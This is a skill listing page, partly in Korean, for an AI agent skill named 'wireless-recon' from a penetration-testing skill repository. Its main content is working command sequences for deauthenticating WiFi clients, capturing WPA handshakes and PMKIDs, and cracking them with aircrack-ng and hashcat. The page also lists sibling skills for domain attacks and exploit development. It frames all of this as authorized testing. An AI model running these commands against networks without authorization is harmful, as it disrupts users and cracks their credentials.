원클릭으로 Manus에서 모든 스킬 실행

wireless-recon

스타3

포크1

업데이트2026년 6월 25일 18:14

Wireless network security testing including WiFi enumeration, WPA/WPA2/WPA3 cracking, rogue AP detection, Bluetooth reconnaissance, and RF analysis for authorized security engagements. Use this skill whenever the user mentions wireless testing, WiFi security, WiFi cracking, WPA cracking, aircrack-ng, airmon-ng, aireplay-ng, airodump-ng, wifite, reaver, WPS attack, pixie dust, evil twin, rogue access point, deauthentication, handshake capture, PMKID capture, Bluetooth scanning, BLE security, wireless pentest, or any wireless-focused security testing task. CRITICAL: Wireless testing requires physical proximity and appropriate hardware. The AI generates commands — the OPERATOR executes them in person. All wireless testing requires explicit written authorization.

설치

Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.

Manus에서 실행

출처

az0307

az0307/Aurora-AI-Agency

GitHub 저장소 열기 Creator 저장소 보기

다운로드

Manus에서 실행

Wireless Recon Skill

Overview

Generates commands and methodology for wireless security testing. The AI CANNOT execute wireless attacks directly — these require physical hardware and proximity. This skill provides command sequences, methodology guidance, and result analysis for an operator performing wireless testing in the field.

⚠️ Physical Requirements

Monitor-mode capable wireless NIC (Alfa AWUS036ACH, TP-Link TL-WN722N v1)
Physical proximity to target wireless network
Written authorization for wireless testing specifically
Operator present at all times

Expert Tool Map

Task	Tool	Notes
Interface management	airmon-ng	Enable monitor mode
Network discovery	airodump-ng	Capture BSSIDs, clients, channels
WPA handshake capture	airodump-ng + aireplay-ng	Deauth + capture
PMKID capture	hcxdumptool	No client needed
WPA cracking	hashcat (GPU) / aircrack-ng	See credential-attack
WPS attack	reaver / bully	Pixie dust + brute force
Automated WiFi testing	wifite	All-in-one (less control)
Rogue AP / Evil Twin	hostapd + dnsmasq	Requires 2nd interface
Bluetooth scanning	bluetoothctl / hcitool	BLE: bettercap
Packet analysis	wireshark / tshark	Post-capture analysis

Core Command Sequences (for operator execution)

WiFi Enumeration

# Enable monitor mode
sudo airmon-ng check kill
sudo airmon-ng start wlan0
# Interface is now wlan0mon

# Scan all networks
sudo airodump-ng wlan0mon
# Note target BSSID, channel, encryption type

# Focus on target network
sudo airodump-ng -c {channel} --bssid {target_bssid} -w /tmp/capture wlan0mon

WPA2 Handshake Capture

# In terminal 1: capture
sudo airodump-ng -c {channel} --bssid {target_bssid} -w /tmp/handshake wlan0mon

# In terminal 2: deauth a client to force reconnection
sudo aireplay-ng -0 5 -a {target_bssid} -c {client_mac} wlan0mon
# Wait for "WPA handshake: XX:XX:XX:XX:XX:XX" in terminal 1

# Crack with aircrack-ng (CPU)
aircrack-ng -w /usr/share/wordlists/rockyou.txt /tmp/handshake-01.cap

# OR convert for hashcat (GPU — faster)
hcxpcapngtool -o /tmp/hash.hc22000 /tmp/handshake-01.cap
hashcat -m 22000 /tmp/hash.hc22000 /usr/share/wordlists/rockyou.txt

PMKID Capture (clientless)

hcxdumptool -i wlan0mon -o /tmp/pmkid.pcapng --filterlist_ap={target_bssid} --filtermode=2
hcxpcapngtool -o /tmp/pmkid.hc22000 /tmp/pmkid.pcapng
hashcat -m 22000 /tmp/pmkid.hc22000 /usr/share/wordlists/rockyou.txt

Output Checklist

Written wireless testing authorization confirmed
Physical hardware available and tested
Target network identified (BSSID, channel, encryption)
Handshake/PMKID captured successfully
Cracking attempted (hand off to credential-attack for GPU cracking)
All activities logged with timestamps
Operator physically present for all wireless operations

이 저장소의 다른 Skills

같은 저장소

active-directory

az0307/Aurora-AI-Agency

Active Directory and Windows domain attack techniques including domain enumeration, Kerberos attacks, credential relay, lateral movement, and domain privilege escalation for internal penetration testing engagements. Use this skill whenever the user mentions Active Directory, AD attacks, domain enumeration, BloodHound, Kerberoasting, AS-REP roasting, pass the hash, pass the ticket, overpass the hash, golden ticket, silver ticket, DCSync, DCShadow, NTDS.dit extraction, LDAP enumeration, domain controller, Group Policy abuse, ACL abuse, delegation abuse, constrained delegation, unconstrained delegation, resource-based constrained delegation, ADCS attacks, certificate abuse, LAPS, gMSA, domain trust attacks, forest trust, or any Windows domain-focused penetration testing activity. Also trigger for: impacket, crackmapexec, evil-winrm, bloodhound-python, kerbrute, responder, ntlmrelayx, petitpotam, certipy, rubeus, mimikatz, powerview, sharphound, enum4linux, smbclient, rpcclient, "enumerate the domain", "dump doma

2026-06-253

audit-logger

az0307/Aurora-AI-Agency

Security engagement audit logging, evidence chain management, and compliance trail for penetration testing. Use this skill whenever the user mentions audit log, audit trail, engagement logging, evidence collection, chain of custody, compliance logging, pentest logging, tool execution logging, JSONL log, activity log, forensic evidence, engagement timeline, or any request to log, track, or document security testing activities. Also trigger for: "log this action", "create audit trail", "evidence chain", "what did we do", "engagement timeline", "export activity log", or when any other security skill needs to record its actions for compliance. This skill is called BY other skills — it is the universal logging layer.

2026-06-253

credential-attack

az0307/Aurora-AI-Agency

Password cracking, credential brute force, hash analysis, and authentication testing for penetration testing engagements. Use this skill whenever the user mentions password cracking, hash cracking, brute force attack, credential spraying, password spray, dictionary attack, hashcat, john the ripper, hydra, medusa, credential stuffing, NTLM hash, NTHash, NetNTLMv2, Kerberos ticket cracking, AS-REP roasting, Kerberoasting, hash identification, rainbow tables, wordlist generation, custom wordlists, CeWL, crunch, cupp, password policy analysis, or any request to crack, guess, or test credentials. Also trigger for: "crack these hashes", "brute force this login", "test default credentials", "generate a wordlist", "what hash type is this", "password audit", or any credential-related testing activity. Expert tools: hashcat (GPU), john (CPU), hydra (online brute force), crackmapexec (network cred testing), medusa (parallel brute force).

2026-06-253

ctf-walkthrough

az0307/Aurora-AI-Agency

Generate structured CTF walkthrough writeups from engagement data, findings, and attack paths. Use this skill whenever the user mentions CTF writeup, walkthrough, write-up, CTF solution, box writeup, challenge writeup, HackTheBox writeup, TryHackMe writeup, "write up this box", "document how I solved", "create a walkthrough for", or any request to document a CTF/lab solution in educational format. Also trigger for: "writeup for HTB", "THM walkthrough", "document the attack path", "how did we solve this", or when red-team-report is called with engagement type CTF. Produces clean Markdown writeups with technique explanations, command output, and learning notes — suitable for blog posts or portfolio.

2026-06-253

exploit-dev

az0307/Aurora-AI-Agency

Exploit research, proof-of-concept development, controlled exploitation, and initial access verification for penetration testing engagements. Use this skill whenever the user mentions exploit development, PoC creation, Metasploit module execution, searchsploit, payload generation, msfvenom, exploit testing, vulnerability exploitation, initial access, shell access, reverse shell, bind shell, exploit chain, privilege escalation exploits, buffer overflow, web shell upload, or "can we exploit this finding". Also trigger for: ExploitDB search, Metasploit framework usage, custom exploit writing, payload encoding, exploit adaptation, weaponization, or any request to move from identified vulnerability to confirmed access. This is phase three of a pentest — trigger after vuln-analysis confirms exploitable findings, or standalone when the operator has a specific CVE. CRITICAL: All exploitation requires human approval before execution. The AI prepares commands and payloads but the operator confirms each run.

2026-06-253

network-forensics

az0307/Aurora-AI-Agency

Network traffic capture, packet analysis, protocol dissection, and digital evidence preservation for security engagements. Use this skill whenever the user mentions packet capture, pcap analysis, Wireshark, tshark, tcpdump, network forensics, traffic analysis, protocol analysis, packet inspection, network evidence, DNS analysis from captures, HTTP traffic extraction, credential sniffing from pcap, malware traffic analysis, C2 detection, network timeline reconstruction, or any task involving captured network data. Also trigger for: "capture traffic", "analyze this pcap", "what's in this capture", "extract files from pcap", "find credentials in traffic", "reconstruct network session", or any network evidence analysis task. Expert tools: tshark (CLI analysis), tcpdump (capture), Wireshark (GUI), NetworkMiner (artifact extraction), zeek (protocol logging).

2026-06-253

name	wireless-recon
description	Wireless network security testing including WiFi enumeration, WPA/WPA2/WPA3 cracking, rogue AP detection, Bluetooth reconnaissance, and RF analysis for authorized security engagements. Use this skill whenever the user mentions wireless testing, WiFi security, WiFi cracking, WPA cracking, aircrack-ng, airmon-ng, aireplay-ng, airodump-ng, wifite, reaver, WPS attack, pixie dust, evil twin, rogue access point, deauthentication, handshake capture, PMKID capture, Bluetooth scanning, BLE security, wireless pentest, or any wireless-focused security testing task. CRITICAL: Wireless testing requires physical proximity and appropriate hardware. The AI generates commands — the OPERATOR executes them in person. All wireless testing requires explicit written authorization.
compatibility	{"tools":["bash"],"mcps":["desktop-commander"],"skills":["scope-guard","credential-attack","audit-logger"]}

Wireless Recon Skill

Overview

⚠️ Physical Requirements

Monitor-mode capable wireless NIC (Alfa AWUS036ACH, TP-Link TL-WN722N v1)
Physical proximity to target wireless network
Written authorization for wireless testing specifically
Operator present at all times

Expert Tool Map

Task	Tool	Notes
Interface management	airmon-ng	Enable monitor mode
Network discovery	airodump-ng	Capture BSSIDs, clients, channels
WPA handshake capture	airodump-ng + aireplay-ng	Deauth + capture
PMKID capture	hcxdumptool	No client needed
WPA cracking	hashcat (GPU) / aircrack-ng	See credential-attack
WPS attack	reaver / bully	Pixie dust + brute force
Automated WiFi testing	wifite	All-in-one (less control)
Rogue AP / Evil Twin	hostapd + dnsmasq	Requires 2nd interface
Bluetooth scanning	bluetoothctl / hcitool	BLE: bettercap
Packet analysis	wireshark / tshark	Post-capture analysis

Core Command Sequences (for operator execution)

WiFi Enumeration

# Enable monitor mode
sudo airmon-ng check kill
sudo airmon-ng start wlan0
# Interface is now wlan0mon

# Scan all networks
sudo airodump-ng wlan0mon
# Note target BSSID, channel, encryption type

# Focus on target network
sudo airodump-ng -c {channel} --bssid {target_bssid} -w /tmp/capture wlan0mon

WPA2 Handshake Capture

# In terminal 1: capture
sudo airodump-ng -c {channel} --bssid {target_bssid} -w /tmp/handshake wlan0mon

# In terminal 2: deauth a client to force reconnection
sudo aireplay-ng -0 5 -a {target_bssid} -c {client_mac} wlan0mon
# Wait for "WPA handshake: XX:XX:XX:XX:XX:XX" in terminal 1

# Crack with aircrack-ng (CPU)
aircrack-ng -w /usr/share/wordlists/rockyou.txt /tmp/handshake-01.cap

# OR convert for hashcat (GPU — faster)
hcxpcapngtool -o /tmp/hash.hc22000 /tmp/handshake-01.cap
hashcat -m 22000 /tmp/hash.hc22000 /usr/share/wordlists/rockyou.txt

PMKID Capture (clientless)

hcxdumptool -i wlan0mon -o /tmp/pmkid.pcapng --filterlist_ap={target_bssid} --filtermode=2
hcxpcapngtool -o /tmp/pmkid.hc22000 /tmp/pmkid.pcapng
hashcat -m 22000 /tmp/pmkid.hc22000 /usr/share/wordlists/rockyou.txt

Output Checklist

Written wireless testing authorization confirmed
Physical hardware available and tested
Target network identified (BSSID, channel, encryption)
Handshake/PMKID captured successfully
Cracking attempted (hand off to credential-attack for GPU cracking)
All activities logged with timestamps
Operator physically present for all wireless operations